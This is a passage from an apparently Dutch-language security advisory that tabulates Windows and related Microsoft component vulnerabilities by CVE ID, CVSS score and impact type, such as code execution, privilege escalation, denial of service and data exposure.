NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | 